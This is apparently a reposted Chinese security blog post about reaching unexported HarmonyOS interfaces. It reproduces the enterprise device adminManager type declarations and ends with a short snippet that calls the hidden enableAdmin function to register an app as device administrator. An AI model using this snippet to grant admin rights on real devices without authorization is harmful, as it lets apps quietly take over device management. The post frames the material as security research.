declare namespace adminManager {/** * Enum for managed event * * @enum { number } * @syscap SystemCapability.Customization.EnterpriseDeviceManager * @since 12 */export enum ManagedEvent {/** * The event of bundle added. * * @syscap SystemCapability.Customization.EnterpriseDeviceManager * @since 12 */ MANAGED_EVENT_BUNDLE_ADDED = 0,/** * The event of bundle removed. * * @syscap SystemCapability.Customization.EnterpriseDeviceManager * @since 12 */ MANAGED_EVENT_BUNDLE_REMOVED = 1,/** * The event of app start. * * @syscap SystemCapability.Customization.EnterpriseDeviceManager * @since 12 */ MANAGED_EVENT_APP_START = 2,/** * The event of app stop. * * @syscap SystemCapability.Customization.EnterpriseDeviceManager * @since 12 */ MANAGED_EVENT_APP_STOP = 3,/** * The event of system update. * * @syscap SystemCapability.Customization.EnterpriseDeviceManager * @since 12 */ MANAGED_EVENT_SYSTEM_UPDATE = 4 }/** * Disables a current administrator ability. * Only apps with the ohos.permission.MANAGE_ENTERPRISE_DEVICE_ADMIN permission or the shell uid can call this method. * * @permission ohos.permission.MANAGE_ENTERPRISE_DEVICE_ADMIN * @param { Want } admin - admin indicates the enterprise admin extension ability information. * The admin must have the corresponding permission. * @param { number } [userId] - userId indicates the user ID or do not pass user ID. * @returns { Promise<void> } the promise returned by the disableAdmin. * @throws { BusinessError } 9200005 - Failed to deactivate the administrator application of the device. * @throws { BusinessError } 201 - Permission verification failed. The application does not have the permission required to call the API. * @throws { BusinessError } 401 - Parameter error. Possible causes: 1. Mandatory parameters are left unspecified; * 2. Incorrect parameter types; 3. Parameter verification failed. * @syscap SystemCapability.Customization.EnterpriseDeviceManager * @StageModelOnly * @since 12 */functiondisableAdmin(admin: Want, userId?: number): Promise<void>; /** * Subscribesthemanagedeventofadmin. * * @permissionohos.permission.ENTERPRISE_SUBSCRIBE_MANAGED_EVENT * @param{ Want } admin - admin indicates the administrator ability information. * @param { Array<ManagedEvent> } managedEvents - managedEvents indicates the managed events to subscribe. * @throws { BusinessError } 9200001 - The application is not an administrator application of the device. * @throws { BusinessError } 9200008 - The specified system event is invalid. * @throws { BusinessError } 201 - Permission verification failed. The application does not have the permission required to call the API. * @throws { BusinessError } 401 - Parameter error. Possible causes: 1. Mandatory parameters are left unspecified; * 2. Incorrect parameter types; 3. Parameter verification failed. * @syscap SystemCapability.Customization.EnterpriseDeviceManager * @StageModelOnly * @since 12 */ function subscribeManagedEventSync(admin: Want, managedEvents: Array<ManagedEvent>): void; /** * Unsubscribes the managed event of admin. * * @permission ohos.permission.ENTERPRISE_SUBSCRIBE_MANAGED_EVENT * @param { Want } admin - admin indicates the administrator ability information. * @param { Array<ManagedEvent> } managedEvents - managedEvents indicates the managed events to subscribe. * @throws { BusinessError } 9200001 - The application is not an administrator application of the device. * @throws { BusinessError } 9200008 - The specified system event is invalid. * @throws { BusinessError } 201 - Permission verification failed. The application does not have the permission required to call the API. * @throws { BusinessError } 401 - Parameter error. Possible causes: 1. Mandatory parameters are left unspecified; * 2. Incorrect parameter types; 3. Parameter verification failed. * @syscap SystemCapability.Customization.EnterpriseDeviceManager * @StageModelOnly * @since 12 */ function unsubscribeManagedEventSync(admin: Want, managedEvents: Array<ManagedEvent>): void;}export default adminManager;
function enableAdmin(admin: Want, info?: any, userId?: number): Promise<void>;
import {adminManager} from'@kit.MDMKit'
let want:Want = {
bundleName: "com.huawei.hms.gameservice",
abilityName: "GamePlayerService"
};
adminManager.enableAdmin(want, {"name":"test", "description": "test"}, 1);
原文始发于微信公众号(大山子雪人):鸿蒙系统安全之访问未导出接口
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论